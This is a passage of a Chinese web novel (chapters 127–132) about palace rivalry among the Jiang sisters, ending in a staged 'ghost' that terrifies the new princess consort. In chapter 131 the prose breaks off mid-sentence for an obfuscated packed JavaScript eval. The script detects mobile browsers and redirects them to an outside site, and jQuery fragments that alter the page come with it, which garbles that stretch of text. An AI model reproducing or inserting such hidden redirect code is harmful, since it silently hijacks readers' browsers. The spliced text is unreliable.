姜天泽抬眼打量萧凌川,待看清他的面容后,心中不由一震。 这就是传闻中带有南月血脉的四皇子? 可他为何与自己长得如此相似? 莫非…… 吃惊的不止姜天泽一人。 此前姜姝宁便隐约觉得萧凌川与姜天泽有几分相似,只是未曾细想。 姜天泽是个清隽少年,而萧凌川虽年仅二十出头,眉宇间却已隐隐流露出深沉的心机,在她心中是截然不同的两人。 如今两人站在一处,那过分相似的眉眼与轮廓让她心头猛地一跳。 两个毫无血缘之人,怎会生得如此相像? 尽管气质迥异,但那面容却仿佛出自同一个模子雕刻而成。 如今的萧凌川二十一岁,正好比姜天泽年长五载。 姜姝宁甚至可以毫不怀疑地断言,萧凌川十五六岁时,定然就是姜天泽如今的模样! 她的思绪被千头万绪的猜测缠绕,一时间竟忘了提醒姜天泽向萧凌川请安。 萧凌川再次扫了姜天泽一眼,神色冷冽,语气中透着不悦:“这就是姜家三少爷?怎的半点礼数也不懂,见了人不行礼!” 姜天泽猛地回过神来,忙拱手行礼:“天泽见过四皇子殿下!” “我三弟初次进宫,不懂规矩,还望殿下恕罪!”姜姝宁连忙解释道。 “看在他是你三弟的份上,本皇子暂不计较。只是,恕我直言,作为姜家继承人,你这三弟还需好好管教一番!”萧凌川目光如刀,令人不寒而栗。 姜天泽低着头不敢直视,萧凌川身上散发出的压迫感让他心头一紧。 他暗自纳闷:如今南月与大邺交恶,一个身上流着南月血脉的皇子,怎会有如此底气和傲气? “殿下所言极是,臣女回去定会与父亲一同严加管束三弟。”姜姝宁咬着牙应下,心中却有些不悦。 这萧凌川,端什么皇子架子? 萧凌川训完话,转身欲走,却被姜姝宁叫住:“殿下,请借一步说话!” 第128章 到头来还是输了 第一百二十八章 到头来还是输了 两人走到宫道旁一处僻静的角落,姜姝宁开门见山地问:“殿下难道不觉得,我三弟与您长得有几分相似?” 萧凌川知道姜天泽身具南月血统,对他与自己容貌相似并不意外。 南月人生来面容瑰丽,远非大邺人可比,两个南月人在大邺人眼中长得像也不足为奇。 他故意装糊涂,反问道:“是吗?我怎么没看出来?” 见他有意回避,姜姝宁深吸一口气,压下心头的不满,继续追问:“殿下当初为何指使张尚书和张姑娘给我三弟下毒?是否与他的容貌有关?殿下究竟知道我三弟什么秘密?” “姜姑娘不是一直认定,我给你三弟下毒,是为了拿捏你吗?”萧凌川似笑非笑,语气中带着几分揶揄,“怎么,如今对自己曾经深信不疑的猜测动摇了?” “我……”姜姝宁微微敛眸,“之前是臣女想得太简单。如今臣女只想从殿下口中得知真相。” “真相就是……”萧凌川忽然凑近她,压低声音道,“我给你三弟下毒,确实是为了更好拿捏你。至于容貌相似,我并不觉得你三弟与我有何相像之处。倒是听闻女子若钟情于某人,便会觉得身边人皆与他相似。姜姑娘,莫非你对我动了心,却不自知?” 这话挑 逗意味十足,姜姝宁的脸瞬间涨得通红。 “你……”未免也太自以为是了吧?! 她硬生生咽下后半句话,气恼地行了个礼,转身便走。 姜天泽见状,好奇地问道:“大姐姐,你和那四皇子殿下说了什么?” “没什么,不过是四皇子厚颜无耻而不自知罢了!”姜姝宁没好气地回道。 姜天泽一头雾水:“???” 在返回姜府的马车上,姜姝宁犹豫片刻,终是忍不住问道:“天泽,有个问题可能有些冒昧,但我还是想问你。” “大姐姐请说。” “三婶她……身上可有外族血统?比如……南月的血统?”她斟酌着用词,小心翼翼地问道。 姜天泽笑着道:“大姐姐真是说笑了。我母亲就是个普通的大邺女子,从小家境贫寒,后来被家人卖入青 楼,这辈子恐怕连南月人都不曾见过,又怎会有南月血统?” “是我想多了。”姜姝宁自嘲一笑,心中稍安。 当年南月贡女刺杀皇帝一事,事后,所有来到大邺的南月人,除了萧凌川的生母,几乎都被屠杀殆尽。 姜三夫人一个弱女子,又怎有可能在那场劫难中侥幸逃脱? 此时,姜天泽眼中却掠过一丝晦暗。 他回到相府西院。 姜三夫人迎上前来,笑着问:“今夜的婚宴,可玩得尽兴?” “尽兴!”姜天泽眼中满是向往,“母亲,我头一次进宫,才知皇宫竟如此巍峨壮丽,连那宫墙的红砖都别有风味……” “母亲晓得。”姜三夫人笑吟吟地应道。 姜天泽脸上的笑意骤然收敛,目光带着几分探究看向她:“母亲怎会晓得?莫非,母亲也去过皇宫?” 姜三夫人一愣,慌忙避开他的视线,语气轻描淡写:“我自然没去过,皇宫那等地方,哪是我能踏足的?” 见她不愿实话实说,姜天泽压低声音,试探道:“母亲,今夜我见到了四皇子殿下。没想到,我与他的容貌竟有几分相似。您说,我们会不会有血缘关系?” 姜三夫人闻言,身体猛地一颤,脸色变得有些不自然。 在儿子直勾勾的目光注视下,她仿佛无处遁形。 “母亲,您到底还瞒着我什么?我的亲生父亲,究竟是谁?”姜天泽追问道。 姜三夫人深深吸了一口气,似在平复心绪。 她缓缓开口:“我本不想将此事告诉你,免得徒增你的烦恼。但如今,既然你已有所察觉,我也不愿再隐瞒。” 她说着,凑到姜天泽耳边,将一切和盘托出…… 麟阁宫内,喝得醉醺醺的萧修湛在随从的搀扶下,摇摇晃晃地走进新房。 一身大红喜服的姜瑶真早已坐在床边,静静等候多时。 他走上前,拿起玉如意,轻轻掀开她的盖头,映入眼帘的是一张绝色容颜。 她本就生得美艳,如今新娘妆更添几分风华,令人移不开目光。 萧修湛眯起醉眼,由衷赞叹道:“你真是本皇子见过的最美的女子。” 姜瑶真闻言,嫣然一笑,脸上浮现出几分得意。 她身具南月血统,容貌自然比大邺女子更为出众。 “既然殿下觉得妾身美,那殿下可愿为妾身遣散后院那些妾室?”她柔声问道,眼中却闪着试探的光芒。 这话一出,萧修湛的酒意顿时醒了大半。 他常年流连花丛,比谁都清楚,再美的容颜也有看腻的一天。 若遣散了后院的美人,岂不是日后只能面对眼前这一张脸? “真儿莫不是吃醋了?”他似笑非笑道,“可本皇子将来是要问鼎天下的,到时后宫佳丽三千,可远比如今后院的人数多得多。真儿若连这点胸怀都没有,又怎能母仪天下?” “殿下此言差矣。”姜瑶真不急不缓地反驳,“将来殿下若成为大邺的君王,纳的嫔妃皆是大臣家眷,对殿下稳固江山大有助益。可如今,殿下后院那些妾室不过是些身份低微的美人,除了稍有些姿色以外,半点用处也没有。妾身让殿下遣散她们,并非出于吃醋,而是为殿下的声誉着想!” “我看你是为自己着想吧?”萧修湛酒气上头,言语变得尖锐无比,“才刚嫁给本皇子,就敢提出遣散后院的要求,你胆子不小!她们跟了本皇子多久,你又跟了本皇子多久?我劝你以后这样的想法少提,否则,本皇子对你不客气!” 说完这话,他猛地站起身,连交杯酒也不喝,头也不回地离开了新房。 姜瑶真万万没想到会是这样的结果,气得胸口起伏,猛地将桌上的酒杯摔到地上,碎裂声在寂静的新房中格外刺耳。 春花和宋嬷嬷听到房内的动静,急忙跑了进来:“王妃娘娘,殿下怎没留在您房里过夜?大婚之夜新郎不宿于婚房,怕是不吉啊!” 姜瑶真满脸怒气,咬牙道:“我不过要求他遣散后院那些不三 不四的女子,难不成还有错?他竟冲我发脾气,还故意拂袖而去!在他眼中,我竟连那些女人都比不上吗?” “这……”宋嬷嬷面露难色,斟酌着开口,“王妃娘娘,您嫁给殿下之前,便知他后院养着不少妾室,为何偏在这时候提出这样的要求?” 姜瑶真冷哼一声,眼中闪过一丝厌恶:“我就是不想让姜莲那贱人在我眼皮子底下晃悠!一想到那贱人长得与姜姝宁有几分相似,我心里就堵得慌!” 宋嬷嬷叹了口气,苦口婆心地劝道:“王妃娘娘,您刚嫁入王府,立足未稳便向殿下提这样的条件,确实不易让殿下接受。此事还需沉住气,徐徐图之。明日您不妨与殿下说几句软话,否则在这宫中,恐无人能护得住您。” 姜瑶真听罢,心中虽有不甘,却也只能压下情绪,语气低落道:“我明白了。忙碌了一天,我也乏了,帮我宽衣洗漱吧。” “是,王妃娘娘。”春花与宋嬷嬷应声,上前服侍。 萧修湛步履不稳地来到姜莲的房中,身上还带着浓郁的酒气。 见到他,姜莲眼中闪过一丝意外,柔声问道:“今日不是殿下的大婚之日吗?殿下怎会到我这里来?” 萧修湛上前一把将她拥入怀中,语气中满是恼意:“别提了,你那妹妹真是不懂事!本皇子才刚掀开她的盖头,她便张口要我遣散后院的美人。仗着自己有几分姿色,就敢对我指手画脚!本皇子今夜就是要晾着她,挫挫她的傲气!” 姜莲轻笑出声,纠正道:“殿下,王妃娘娘是我的姐姐,并非妹妹。” 可萧修湛像是没听见她的话,醉眼迷 离地凝视着她的脸,喃喃道:“姝宁,你性格温婉,若你是我皇妃,定不会这般任性。” 姜莲心头一怔,顿时明白了——他竟将自己错认成了大姐姐姜姝宁。 她唇角微微上扬,勾起一抹嘲讽的笑意,心中暗道:二姐姐,你争来抢去,到头来不还是输给了大姐姐? 第129章 现世报来得如此之快 第一百二十九章 现世报来得如此之快 第二日天一亮,姜瑶真便唤来春花和宋嬷嬷:“快,帮我梳妆打扮,我要去见殿下!” 春花和宋嬷嬷面面相觑,有些欲言又止。 “你们怎么这幅表情?”姜瑶真忽然想到什么,脸色骤变,“殿下昨夜歇在哪了?” 春花犹豫片刻,低声道:“殿下……殿下昨夜歇在了……歇在了姜贵妾房中。” “什么?!”姜瑶真只觉一股血气直冲头顶,眼前阵阵发黑。 她新婚之夜,夫君竟然宿在了一个妾室房中! 还是姜莲那个贱人! 她猛地掀开被子,赤脚踩在冰凉的地上,将梳妆台上的瓶瓶罐罐尽数扫落在地,发出噼里啪啦的巨响。 “简直欺人太甚!” 麟阁宫里顿时鸡飞狗跳,姜瑶真的哭骂声传出老远。 熙贵妃很快便得了消息,命人将姜瑶真“请”到了自己殿中。 “皇子妃,你这是做什么?新婚第二天,就在宫里大吵大闹,成何体统?”熙贵妃冷声问。 姜瑶真双眼通红,满脸泪痕:“母妃!您要为我做主啊!大婚之夜,殿下他……他竟然去了姜莲那个贱人那里!这让我以后如何在宫中立足?他分明不把我放在眼里!” 熙贵妃叹了口气:“湛儿是男子,他喝醉了去贵妾房中也情有可原。你身为皇子妃,当有容人之量。昨夜之事,本宫自会训斥他。你先安心,莫要再闹了。” 见熙贵妃明显偏袒自己的儿子,姜瑶真怒火中烧:“既然母妃袒护殿下,那我便去禀告父皇!让父皇给我做主!” 熙贵妃一听脸色骤变,猛地一拍桌子:“放肆!这种家宅内闱之事,也敢拿到皇上面前去说?你是嫌皇家的脸面丢得还不够吗?来人,皇子妃言行无状,罚她在前厅跪一个时辰,好好反省!” 萧修湛宿醉醒来,见自己竟留宿在姜莲房中,心里本来对姜瑶真还有一丝愧疚。 可当宫人将熙贵妃殿中的事情,尤其是姜瑶真扬言要告御状一事禀报后,他那点愧疚顿时烟消云散,只剩下满心的厌烦和鄙夷。 “不知所谓的东西,还真把自己当盘菜了!” 他冷哼一声,索性眼不见为净,之后几日更是连姜瑶真的房门都不踏入一步,夜夜宿在不同的妾室房中,独独将她这个正妃晾在一旁。 宫人们都是捧高踩低的,见三皇子妃一进门就失了宠,连贵妃娘娘都罚了她,对她的态度便愈发怠慢起来。 送来的膳食不是冷了就是不合口味,衣裳首饰也都是挑剩下的,甚至连日常用品都比别处少了几分。 姜瑶真在麟阁宫的日子,过得竟比在相府做姑娘时还要憋屈百倍。 好不容易熬到归宁,姜瑶真一踏进相府大门,便再也忍不住,扑到姜夫人怀里嚎啕大哭,将这几日受的委屈一股脑儿地倾泻而出。 姜丞相站在一旁,看着女儿这副模样,只能连连叹气,脸上满是无奈。 毕竟是自己养大的孩子,姜夫人心中不忍,安慰道:“真儿,莫哭了。我和你父亲虽然一直都不希望你嫁给三皇子,但如今木已成舟,你是三皇子妃,自然要好好和他过日子。” “我倒是想好好和他过日子,可他压根就不想!”姜瑶真哭得抽抽噎噎,上气不接下气。 正哭诉间,姜姝宁款步走了进来。 一看到她,姜瑶真“蹭”地从姜夫人怀里挣脱出来,伸手指着姜姝宁,声嘶力竭道:“姐姐!是不是你?是不是你把姜莲那贱人送到三皇子身边的?她如今得了宠,你称心如意了吧?!” 此言一出,姜丞相和姜夫人的脸色皆是骤变。 姜夫人惊愕地看向姜瑶真:“你说什么?二房家的姜莲……她被三皇子收了?这是什么时候的事?” “就在女儿嫁给三皇子前几日!那贱人就已经爬上了三皇子的床,成了他的贵妾!”姜瑶真死死地盯着姜姝宁,眼神像是要喷出火来,不依不饶地哭喊道,“姐姐她是知道的!” 姜夫人看向姜姝宁,一脸紧张:“宁儿,你妹妹说的……可是真的?” 姜姝宁神色平静,声音清冷如常:“母亲,女儿的确知晓姜莲堂妹嫁予三皇子殿下为妾一事。但此事与女儿毫无关系,亦非女儿所为。” “父亲母亲都在这里,你自然不会说实话!”姜瑶真又气又委屈,指着姜姝宁的手指都在颤抖,“你难道不知道对一个已婚女子而言,夫君的宠爱有多重要吗?如今三皇子的心思都在那姜莲身上,日日与她痴缠,这麟阁宫里,我这个正妃哪里还有半分地位可言?!” 姜姝宁看着姜瑶真这副气急败坏、几近癫狂的模样,心中不禁冷笑一声。 当初为了和萧修湛定亲,她机关算尽,甚至不惜牺牲姜天恩的性命。 真是没想到,这现世报来得竟是如此之快。 “妹妹莫要以己度人,我可想不出那么龌龊的招数对付你!” “以己度人?”姜瑶真气得胸口起伏,“姜莲那贱人长得跟你一个模样,三皇子对她百般宠爱,你心里是不是很得意?” “够了!”姜丞相沉声喝止,脸色铁青,“真儿,宁儿是你姐姐,你说话注意点分寸!这事还没查清楚,你就这么咄咄逼人,成何体统?” 姜夫人连忙拉住她的手,息事宁人道:“真儿,母亲明白你受了委屈,但也不能随意指责你姐姐。她一个未出阁的女子,怎可能插手三皇子的后院之事?况且,姜莲是二房的人,二房与宁儿素来不和,宁儿怎会帮二房做这样的事?” 姜瑶真顿时泪如雨下:“姐姐是母亲的亲生女儿,母亲自然偏向她。真儿命苦,受了天大的委屈,也只能独自咽下!” 说罢,她用力挣脱姜夫人的手,头也不回地冲了出去,直奔来福酒楼。 她要去找自己的生母倾诉心中的苦楚。 姜瑶真离开后,姜姝宁很快便动身进宫。 与往日不同,她此行既非拜见太后,也非找萧凌川,而是径直前往三皇子萧修湛的麟阁宫。 方才姜瑶真的哭诉点醒了她。 原来,失去夫君的宠爱,对姜瑶真的打击如此之大。 既如此,自然要让她多经受这样的打击。 第130章 姐妹联手 第一百三十章 姐妹联手 萧修湛听闻姜姝宁来到麟阁宫,心中颇为意外。 她怎会主动前来?难道是为姜瑶真抱不平而来? 虽说他身为皇子,却也是姜家的女婿,归宁之日未陪妻子回娘家,确实容易落人话柄。 他本想让随从随意寻个借口将她打发走,可转念一想,这毕竟是她头一次踏足麟阁宫,心头不由得泛起一丝痒意,最终还是硬着头皮前去见她。 姜姝宁身着一袭浅青色长裙,发间仅插着一支素净的发簪,举手投足间透着落落大方的气度。 她微微屈身,恭敬行礼:“臣女见过三皇子殿下!” “免礼。”萧修湛轻声应道,目光却不由自主地细细打量起她来。 过去总觉得姜莲与她有几分相似,可如今近看,才发觉姜莲与她相比,实则相差甚远。 那感觉就像还没见过真品,就觉得赝品还不错,但见了真品,就知道无论赝品如何仿制,都难及真品半分珍贵与神韵。 姜姝宁并非不美,只是她不显山露水,无论衣着还是妆容,皆以素雅为主,仿佛有意掩去那份令人心动的容貌,不愿被人窥见。 姜姝宁自然察觉到他探究的目光,心中微感不适,却仍保持着恭谨之态,开口道:“殿下,臣女今日前来,是有一桩不情之请。” “姜姑娘但说无妨。”萧修湛语气和缓,掩去眼底的波澜。 “臣女的三妹姜莲如今是殿下妾室,臣女知晓她并无归宁的资格。只是二叔二婶如今膝下仅此一女,思念之情实在难耐,臣女斗胆恳请殿下开恩,允姜莲回娘家一趟。” 原来并非兴师问罪。 萧修湛暗自松了一口气,随即颔首道:“此事无妨。稍后我便命姜莲收拾行装,择日回娘家探亲。” “多谢殿下!”姜姝宁再次行礼,随即转身欲走,却被萧修湛出声唤住。 “姜姑娘不进殿饮杯茶再走吗?姜莲正在殿中,你们姐妹也好叙叙旧。”他语带试探,目光中隐隐透着几分期盼。 “改日吧。”姜姝宁面上带着温和却疏离的笑意,婉拒道,“如今妹妹瑶真归宁,我这做姐姐的,自当多陪陪她才是。” 萧修湛尚不知她们姐妹间的龃龉,听不出这是托辞,只微微一笑:“理应如此。只是令妹性子有些刁蛮,入宫后也多有不守规矩之处,她若说了什么不中听的话,还望姜姑娘与姜丞相莫要放在心上。” “自是不会。”姜姝宁微微一礼,便转身离去。 萧修湛凝望着她渐远的背影,心中竟生出一丝不舍。 他却不知,此刻姜姝宁的脸上,已掠过一抹阴郁之色,眉眼间尽是复杂难明的情绪。 萧修湛一回到殿中,便对姜莲道:“你父母思念你心切,特意让你大姐进宫来求我,讨一个让你归家的机会。我已允了,你择日回府探亲吧!” 姜莲闻言,眼中闪过一丝诧异之色。 她的父母眼中从来只有那些丰厚的聘礼,哪里会真正思念她? 那便只有一个可能。 想让她出宫的,是她的大姐姐姜姝宁。 “多谢殿下恩准。”姜莲唇角微微上扬,勾起一抹意味深长的笑意。 既如此,不妨去看看,大姐姐到底有何打算! 几日后,姜莲果然回了娘家一趟。 姜姝宁得知消息后,迅速让凌芜给她传了信,约她在会客茶楼一见。 姜莲抵达时,姜姝宁已早在雅间中等候。 桌上摆满了精致的糕点和上好的茶水,姜莲扫了一眼,脸上露出满意的笑:“大姐姐真是破费了。” 若是从前,她连做梦都不敢想,自己有朝一日能踏足这样的地方,享用这般精致的茶点。 果然攀上高枝就是好,连身为相府嫡女的大姐姐也开始拉拢自己了。 “自家姐妹,何须客套。”姜姝宁轻笑一声,亲手为她斟了一杯茶,“这是此地有名的云山茶,口味清冽,回味甘甜,还能养目提神,你尝尝看。” 姜莲接过茶盏,轻轻啜了一口,果然茶香扑鼻,令人心旷神怡。 “茶确实好喝。不过,大姐姐特意请莲儿前来,怕是有事要吩咐吧?”她放下茶盏,直截了当地问道。 姜姝宁微微一笑,眼中闪过一丝赞赏:“你果然聪慧。我今日约你来,是有两件事要与你说。第一件,你二哥的死与我无关,我未曾唆使四皇子雇凶害他,四皇子也不屑做这等事。我不在乎旁人如何看我,但你绝不能误会。” 只有姜莲对她没有芥蒂,她才有可能帮自己做接下来的事。 姜莲垂下眼帘,语气平静:“大姐姐,我明白,二哥之死与你无关。” 她的父母之所以揪着此事不放,不过是想借机理直气壮地向姜丞相索要家产罢了。至于后来散布谣言闹事,也不过是想巴结姜瑶真,讨些好处。 “既如此,第二件事我便直言相告,请你相助。”姜姝宁说着,将一个盖着白布的竹篮放在桌上。 姜莲心中好奇,伸手掀开白布,一瞥之下,顿时头皮一麻,惊得险些失声:“大姐姐,你这是……” “三妹,有些真相我不妨直言。”姜姝宁脸色阴沉,眼底翻涌着浓烈的恨意,“你二哥究竟死于何人之手,我至今未明;但我大哥,相府嫡长子,却死于姜瑶真的阴谋算计!她如今如愿以偿,成了三皇子妃,也该为她犯下的罪孽付出代价!” “大姐姐……想让莲儿做什么?”姜莲声音微颤问道。 姜姝宁微微倾身,附在她耳边低语了几句。 姜莲听罢,轻轻点了点头,神色坚定:“大姐姐放心,我定会按你的吩咐去做。” 她如今不过是三皇子的妾室,位分远不及姜瑶真这个正妃。 ,以姜瑶真的性子,日后定会百般磋磨她。 与其坐以待毙,不如与姜姝宁联手,让萧修湛对姜瑶真生出厌恶,也好让她在麟阁宫中过得舒心些。 姜姝宁见状,满意地点了点头:“事成之后,我自不会亏待你。二叔二婶那边你也无须忧心,我会让凌芜时常接济他们。” “多谢大姐姐。”姜莲顿了顿,又小心翼翼地问道,“大姐姐不怪我当初为了攀高枝,勾引四皇子殿下吗?” 姜姝宁闻言,脸色微冷,语气却平静:“从前我不喜你勾引四皇子,一来是你故意装扮成我的模样,让我心中膈应;二来,你身为姜家之女,在他面前做出那等行径,实在有损我们姜家的颜面。” 说到此处,姜姝宁住了口。 她虽不知姜莲是如何成为三皇子妾室的,但听姜瑶真前几日归宁时哭诉的内容,想来手段也并不光明磊落。 姜莲却并不在意这些,她提起桌上的竹篮,小心整理好里面的东西,抬头对姜姝宁郑重承诺:“大姐姐,你就等着我的好消息吧!” 第131章 惊现“亡魂” 第一百三十一章惊现“亡魂” 姜莲刚回到麟阁宫,手中提着大包小包尚未放下,姜瑶真便带着春花和宋嬷嬷径直闯入她的房中。 见她满载而归,姜瑶真的脸上闪过一抹阴狠之色,目光如刀般刺向姜莲。 姜莲一怔,脱口而出:“二姐姐,您怎么来了?” 话音未落,宋嬷嬷已大步上前,“啪”地一声,狠狠扇了她一个耳光,呵斥道:“没规矩!见到王妃娘娘竟不行礼,平日里是怎么教你的!” 姜莲只觉左脸火辣辣地疼,刺痛钻心。 她“噗通”一声跪在姜瑶真面前,声音颤抖:“妾身见过王妃娘娘!” 姜瑶真居高临下地睨着她,语气冰冷刺骨:“怎么,回了一趟娘家,就忘了自己的身份?姜莲,记住,我是妻你是妾,只要有我在,你就永远只能低我一等!” 她身为正妃才有资格回娘家省亲,姜莲不过是个小小的贵妾,算什么东西? 竟也敢向萧修湛讨要回家的机会! 若不好好教训她一番,日后指不定会蹬鼻子上脸,爬到她头上作威作福! 姜莲垂首,面上是一副低眉顺眼的模样,心中却恨意如潮涌动:若你不在该多好! 姜瑶真似乎觉得一巴掌尚不足以泄愤,目光扫过她从宫外带回的大包小包,立即吩咐春花和宋嬷嬷:“把她的东西,通通给我砸了!” 姜莲大惊失色,连忙苦苦哀求:“王妃娘娘,这些都是妾身父母特意准备的物件,求娘娘开恩,别毁了它们,求您了!” 说着,她拼命磕头,额头很快红肿一片。 “哦?是你父母准备的?”姜瑶真冷笑一声,眼中恶意更盛,“那我更要砸个干净!也不知你那心术不正的爹娘,怎生出你这贱蹄子!来人,给我砸!” 房外守门的侍卫实在看不下去,硬着头皮在门口行礼,低声道:“王妃娘娘,殿下最不喜后院喧闹,若您执意砸姜贵妾的东西,恐会惹殿下不悦。还请娘娘手下留情吧!” 姜瑶真冷冷瞥了他一眼,语气尖刻:“你算什么东西,也敢对我指手画脚?我身为正妻,教训一个妾室又有何错?别说砸她的东西,就是取她性命,我也名正言顺!你们还愣着做什么,快砸!” 最后一句是对春花和宋嬷嬷说的。 很快,两人便动手,将姜莲带回来的物件砸得稀烂,其中还有一罐珍贵的云山茶,白瓷茶罐碎了一地,茶香弥漫,令人惋惜。 姜莲不敢阻拦,只能跪在地上低声啜泣,眼睁睁看着心爱之物被毁。 姜瑶真临走前,还故意用脚碾了碾地上那堪称京城一绝的云山茶,嘴角勾起一抹讥讽的笑。 满地狼藉,姜莲一边收拾散落的物件,一边低声啜泣,泪水止不住地滑落。 方才替她说话的侍卫见状,心中不忍,蹲下身来帮她一起收拾。 姜莲捡起地上散落的茶叶,声音哽咽:“这本是我特意为殿下带来的云山茶,珍贵无比,如今却被糟蹋成这般模样!” “这些茶叶若是清理干净,应当还能饮用,只是卖相差了些。”侍卫安慰道。 “殿下尝过无数名茶,怎会瞧得上这残破不堪的茶?罢了,扔了便是。”姜莲叹了口气,眼底尽是失落。 “属下听说云山茶价值不菲,姜贵妾定是花了不少银两购得,扔了未免可惜。”侍卫犹豫了一下,接着道,“不瞒您说,属下平日也爱品茶,若姜贵妾不介意,不如将此茶低价卖给属下,也好让您收回些银钱。” 他方才帮忙收拾时,满屋茶香扑鼻,早已心动不已,只是不好直言。 “大人若不嫌弃,这些茶叶便都送给你吧。”姜莲拭去眼角泪痕,声音低柔,“银钱就不必了,只是我有一桩不情之请,不知大人可否相助?” “姜贵妾请说。”侍卫忙道。 “我有一兄长,不久前不幸亡故。他的身形与大人颇为相似,大人能否换上他的衣物,让我睹物思人,聊慰哀思?” “这……”侍卫面上闪过一丝为难。 “若大人不愿,便当我未曾开口。”姜莲说着,又低下头轻拭泪水,模样楚楚可怜。 “姜贵妾误会了,属下并非不愿,只是担心被人瞧见,恐生误会。毕竟您是殿下的妾室。” “大人顾虑得是,不如我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15675952|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们移步后花园?那里僻静隐秘,应当无人察觉。”姜莲轻声道,眼神中带着一丝期盼。 侍卫看着她梨花带雨的娇弱模样,又瞥了眼地上郁香四溢的茶叶,犹豫片刻,终究点了头。 夜幕低垂,麟阁宫的后花园笼罩在一片幽静之中。 侍卫换上一身锦袍,转身问姜莲:“如此可还像?” 姜莲泪光盈睫,声音低颤:“单看身形,果真与我二哥有几分相似,只是……” 她自袖中取出一张做工精巧的人皮面具,递到侍卫手中,柔声道:“若戴上这个,定与我二哥一般无二!” 侍卫见她眼底哀伤,不忍拂她心意,便接过面具戴上。 片刻后,一个既像姜天赐又似姜天恩的男子赫然出现在姜莲面前。 她唇角悄然勾起一抹阴冷的笑意。 大姐姐曾言,大哥之死是姜瑶真一手所为,若她今夜见到这“亡魂”,不知会是何等反应? 姜瑶真每晚用过晚膳,总会到后花园散步,嘴上说是消食,实则为驱散胸中郁气。 自嫁入麟阁宫,成为三皇子妃,她便未有过一日舒心。 夫君对她冷淡无情,宫人阳奉阴违,甚至连那些妾室也敢不将她放在眼里,见面不行礼不说,还时常冷言讥讽她是个不受宠的正妃。 近日,她趁萧修湛忙于朝务,无暇顾及后院,雷霆手段整治了几名带头挑衅的妾室,才稍稍出了心中那口恶气。 她一边缓步而行,一边与春花和宋嬷嬷低声商议着接下来整治妾室的法子,忽听后花园假山后传来细微响动。 “谁在那里?”姜瑶真猛地停步,厉声喝问,眉目间尽是警惕。 姜莲闻声,故意朝假山后的树丛退了几步,藏起身形。 侍卫因人皮面具遮挡视线,本就看不清路,又被这声呵斥惊得心慌,匆忙想躲,却不料走错了方向,竟直直暴露在姜瑶真一行人的视线之中。 月光清冷,映照下,那脸色惨白、形似“姜天恩”的身影陡然出现在眼前。 姜瑶真吓得花容失色,尖叫出声:“大哥……真儿知错了,求你饶了真儿吧!” 第132章 诈病,引蛇出洞 第一百三十二章诈病,引蛇出洞 尽管姜瑶真苦苦哀求,那形似姜天恩的“亡魂”却丝毫不为所动,步履僵硬地朝她逼近。 她吓得魂飞魄散,尖叫着拔腿就跑,边跑边哭喊:“大哥,你别过来,别过来啊!” “杀了你的人不是我,是三皇子殿下!冤有头债有主,你去找三皇子殿下啊!” 春花和宋嬷嬷被她这失魂落魄的模样吓得不轻,来不及细想,只顾追在她身后呼唤:“王妃娘娘,王妃娘娘!” 侍卫好不容易摘下人皮面具,长舒了一口气,四下张望无人,疑惑道:“方才大声叫嚷的是何人?” 姜莲这才从树丛中探出头,低声对侍卫道:“大人,看来我们方才把皇子妃吓到了。你速速回去,莫要被人发现!今夜之事,切记守口如瓶!” 侍卫连忙点头:“好,属下绝不会泄露半句!” 说完,他将面具递还给姜莲,随即快步离去。 姜莲接过那张酷似姜天恩的面具,原本打算用火折子将其点燃烧毁,可转念一想,唇角勾起一抹意味深长的笑意,最终还是将其小心藏于假山一处隐秘的角落,随后才不紧不慢地朝自己住处走去。 此时,萧修湛刚踏回麟阁宫,尚未走进前殿,便听见姜瑶真惊恐的哭喊声:“大哥,我真不知三皇子会因此害你性命……要怪就怪三皇子心狠手辣,与我无干啊……” 萧修湛见她口无遮拦,脸色骤沉,大步上前,抬手狠狠扇了她一耳光:“大晚上的,你在发什么疯!” 姜瑶真见到萧修湛,哭得更加撕心裂肺,扑上前抓住他的衣袖:“殿下,你总算回来了,方才我见到了大哥的亡魂……” “住口!”萧修湛冷声打断,眼中尽是不耐,“哪来的亡魂?来人,皇子妃神志不清,把她给我带下去,关在房中禁足一月,不许她踏出半步!” 几名侍卫上前,齐声应道:“是,殿下!” 姜瑶真被侍卫们架着,双腿发软,几乎是拖着走回寝殿的。 她满脸泪痕,嘴里还断断续续地嘟囔着:“大哥,我不是故意的……你别来找我……” 那声音透着几分恐惧,听得人头皮发麻。 就连春花和宋嬷嬷都怀疑方才在后花园真的见了鬼。 可皇子妃为何要害怕自己的大哥? 难道,真的是她害**姜天恩? 萧修湛站在殿前,脸色阴沉得能滴出水来。 他冷眼看着姜瑶真被带进房内,门“砰”地一声关上,隔绝了她那令人烦躁的哭声。 随即,萧修湛转头看向一旁的春花和宋嬷嬷,眼神冷厉如刀:“到底发生了何事?为何皇子妃会突然变得这般疯疯癫癫?” 宋嬷嬷战战兢兢,低头颤声道:“回殿下,方才老奴也没看真切,只隐约瞧见后花园似有人影晃动,皇子妃便是被那影子吓成这般模样……” “人影?什么人影!”萧修湛眉心紧蹙,猛地转向一旁侍卫,语气森寒,“速去查清楚!” “是!”侍卫头领正欲带人前往后花园,却被萧修湛骤然喝止。 他冷眸一眯,声音如冰霜刺骨:“今晚之事,若有半句传扬出去,本殿下要了你们的脑袋!” “是,殿下!”侍卫头领心头一凛,忙不迭低头应下。 萧修湛这才拂袖离去,背影如寒风过境,透着一股难以抑制的戾气,显然心情已恶劣至极。 他自是不信鬼神之说,更不惧什么亡魂作祟,可姜瑶真这副失魂落魄的疯癫模样,简直是在丢尽他的脸面! 若非碍于她父亲是当朝丞相,手握清流一派的支持,他当真想一脚将这女人踢出麟阁宫! 姜莲听闻姜瑶真被禁足的消息,唇角微微上扬,眼中闪过一抹得逞的冷笑。 原来大姐姐所言不虚,确实是姜瑶真害**大哥姜天恩。 那可是她的亲哥哥啊,姜瑶真的心肠未免也太毒辣了! 要是她能被吓疯就好了。 往后,这麟阁宫里,再也无人能整日作威作福,骑在她头上了! 